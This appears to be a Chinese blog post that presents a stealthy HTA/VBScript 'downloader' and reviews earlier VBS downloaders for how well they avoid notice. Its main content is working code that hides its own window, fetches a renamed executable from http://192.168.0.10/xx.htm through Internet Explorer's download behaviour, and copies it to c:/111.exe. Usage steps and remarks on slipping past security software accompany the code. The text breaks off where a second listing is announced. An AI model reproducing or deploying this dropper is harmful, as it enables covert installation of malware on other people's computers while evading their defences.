一、先说本blog上有两个比较新颖的vbs下载者，一个是利用CDO.Message组件做的，另一个是用Microsoft.XMLDOM做的，参见//www.jb51.net/article/15506.htm。这两个下载者一个是利用起来比较麻烦，需要事先把exe进行转化。第二使用中cscript.exe会访问网络，不太隐蔽。第二个是有的机器上并不存在这两个组件及利用到ADODB.Stream的，所以有些弊端。
二、再来说一下lake2的下载者http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。这个下载者算是不错了，但是也有问题。一个是如果装了360等其它的浏览器的话，会打开一个ie窗口，并且从注册表中读到的ie缓存位置不一定准确。
三、那我们如何来更新这些缺陷？还是有办法的。我们用hta来写，这个就比较少见了.hh.exe访问网络一般估计会放行的。写这个下载者要解决的困难有几下几点：
（1）.使hta不可见-------------》简单，移动窗口
（2）.使hta接收命令行参数--------------》本blog上有资料
（3）.不调用上边一、二大项所说的所有组件-----------》这个我们利用ie的默认行为
（4）.ie缓存的临时位置---------》我用的环境变量
(5)我们不调用任何组件-------------------》需要手动
四、代码（直接把参数写在hta里）
代码如下:
<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可见
set objshell= Createobject("WScript.Shell")'hta是可以直接调用WScript.Shell的，不过不能调用wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"/Local Settings" '根据环境变量得到下载的路径
set xml=document.createElement("xml")'建方xml元素调用ie的默认行为
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'请把exe改名放到空间上，用ftp软件上传的话，可能不行，直接放比较好
ShowAllFile(downpath)
Sub ShowAllFile(Path) '遍历查找，直接用lake2的代码
FindFileName="xx[1].htm" '这个也是你需要改的，如果上边是xx.htm，这里就是xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"/"&f1.name&"/"&FindFileName) Then
FSO.CopyFile path&"/"&f1.name&"/"&FindFileName, "c:/111.exe" '保存到c:/111.exe，可根据需要改动
'document.write "[+]Download Success !"
End If
ShowAllFile path&"/"&f1.name
Next
Set FSO = Nothing
End Sub
window.close
</script>
用法是：把exe好比xx.exe改名放到空间上，然后命令行下或双击这个hta就可以了。
五、另一份代码（传命令行参数）
我个人觉得第四部份的代码比较好，修改一下用就可以了。如果调用命令行参数的话，我发现还是会出现hta小窗口，下载完后才关闭，所以这不太好。代码：